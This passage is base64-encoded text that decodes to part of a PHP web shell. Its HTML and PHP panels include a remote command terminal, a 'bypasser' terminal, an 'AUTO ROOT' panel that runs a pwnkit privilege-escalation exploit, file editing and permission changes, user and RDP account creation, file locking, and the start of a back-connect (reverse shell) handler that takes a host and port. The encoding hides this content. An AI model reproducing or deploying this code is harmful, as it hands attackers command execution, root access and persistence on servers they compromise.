xhc3M9Im1vZGFsLW1haWwtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlLXNtdHAiIGNsYXNzPSJib3gtc2hhZG93IG1haWwiIHBsYWNlaG9sZGVyPSImbmJzcDtZb3VyIFRleHQgaGVyZSEiPjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYWlsdG8tc3ViamVjdCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlN1YmplY3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJtYWlsLWZyb20tc210cCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9ImZyb20gOiBleGFtcGxlQG1haWwuY29tIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0ibWFpbC10by1zbXRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0idG8gOiBleGFtcGxlQG1haWwuY29tIj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YSBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+Ij5DbG9zZTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ2YnXSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yLWhlYWQiPgogICAgICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiZuYnNwOyBDb2RlIEVkaXRvciA6IDw/PSB1bngoJF9HRVRbJ2YnXSk7ID8+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb2RlLWVkaXRvciIgY2xhc3M9ImJveC1zaGFkb3ciIGF1dG9mb2N1cz48Pz0gJGZ1bmdzaVsxMF0oJGZ1bmdzaVsxMV0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZS1lZGl0b3IiIHZhbHVlPSJTYXZlIiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIj4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiIGlkPSJjbG9zZS1lZGl0b3IiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJub3JtYWwiKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InRlcm1pbmFsLXRpdGxlIj48Yj48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4mbmJzcDtURVJNSU5BTDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImJveC1zaGFkb3ciIGRpc2FibGVkPjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTBdKGNtZCgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSAuICIgMj4mMSIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gImJ5cGFzc2VyIikgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWQiPgogICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ0ZXJtaW5hbC10aXRsZSI+PGI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7VEVSTUlOQUw8L2I+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImNsb3NlLXRlcm1pbmFsIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcmlnaHQtZnJvbS1icmFja2V0Ij48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJib3gtc2hhZG93IiBkaXNhYmxlZD48P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZ1bmdzaVszXSgnLnRlcm0tYnlwYXNzJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoIi50ZXJtLWJ5cGFzcyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwtYnlwYXNzLXN1Ym1pdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZ1bmdzaVsxMF0ocHduKCRfUE9TVFsndGVybWluYWwtYnlwYXNzJ10gLiAiIDI+JjEiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlcm1pbmFsLWJ5cGFzcyIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbC1ieXBhc3Mtc3VibWl0IiB2YWx1ZT0iPiIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsndGVybWluYWwnXSA9PSAicm9vdCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkIj4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idGVybWluYWwtdGl0bGUiPjxiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwO0FVVE8gUk9PVDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iIiBkaXNhYmxlZD48P3BocCBpZiAoJGZ1bmdzaVszXSgnLm1hZC1yb290JykgJiYgJGZ1bmdzaVszXSgncHdua2l0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9ICRmdW5nc2lbMTFdKCcubWFkLXJvb3QnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyX3RleHQgPSBleHBsb2RlKCIgIiwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcl90ZXh0WzBdID09ICJ1aWQ9MChyb290KSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcm9vdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnLi9wd25raXQgIicgLiAkX1BPU1RbJ3Jvb3QtdGVybWluYWwnXSAuICcgIDI+JjEiJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUaGlzIERldmljZSBJcyBOb3QgVnVsbmVyYWJsZVxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGNtZCgnbHNiX3JlbGVhc2UgLWEnKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiS2VybmVsIFZlcnNpb24gOiAiIC4gc3VnZ2VzdF9leHBsb2l0KCkgLiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bmdzaVsyNF0oJy5tYWQtcm9vdCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb290LXRlcm1pbmFsIiBjbGFzcz0idGVybWluYWwtaW5wdXQiIHBsYWNlaG9sZGVyPSI8Pz0gInJvb3QiIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtcm9vdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3JlJ10gPT0gdHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPlJlbmFtZSA6IDw/PSB1bngoJF9HRVRbJ3JlJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lRmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlJlbmFtZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGJ1dHRvbiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3cgY2xvc2UtYnRuLXMiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydjaCddID09IHRydWUpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj5DaGFuZ2UgUGVybWlzc2lvbiA6IDw/PSB1bngoJF9HRVRbJ2NoJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJjaEZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIwNzc1Ij48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyBjbG9zZS1idG4tcyI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8c2NyaXB0PgogICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewogICAgICAgICAgICAkKCcjY3JlYXRlX2ZvbGRlcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZvbGRlci1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZvbGRlcicpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNyZWF0ZV9mb2xkZXIiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJDcmVhdGUgRm9sZGVyIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjY3JlYXRlX2ZpbGUnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkNyZWF0ZSBGaWxlIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcjbG9jay1maWxlJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtbG9jayI+PC9pPiZuYnNwO0xPQ0sgRklMRScpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLWlucHV0JykuaHRtbCgnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2tmaWxlIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iWW91ciBGaWxlIE5hbWUiPicpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoJyNsb2NrLXdpbmRvd3MnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1sb2NrIj48L2k+Jm5ic3A7TE9DSyBGSUxFIFdJTkRPV1MnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NrLXdpbmRvd3MiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIEZpbGUgTmFtZSI+Jyk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI3Jvb3QtdXNlcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOwogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGx1cyI+PC9pPiZuYnNwO0FERCBVU0VSJyk7CiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXVzZXJuYW1lIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1wYXNzd29yZCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2NyZWF0ZS1yZHAnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzo6IENSRUFURSBSRFAnKTsKICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtcmRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1yZHAtcGFzcyIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJCgnI2Nsb3NlLW1vZGFsJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5oaWRlKCk7CiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgnI2Nsb3NlLWVkaXRvcicpLmNsaWNrKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnLmNvZGUtZWRpdG9yJykuaGlkZSgpOwogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkKCcuY2xvc2UtdGVybWluYWwnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy50ZXJtaW5hbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkKCcuY2xvc2UtYnRuLXMnKS5jbGljayhmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgPC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4KPD9waHAKCgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtYmMnXSkpIHsKICAgICRIb3N0U2VydmVyID0gJF9QT1NUWydiYWNrY29ubmVjdC1ob3N0J107CiAgICAkUG9ydFNlcnZlciA9ICRfUE9TVFsnYmFja2Nvbm5lY3QtcG9ydCd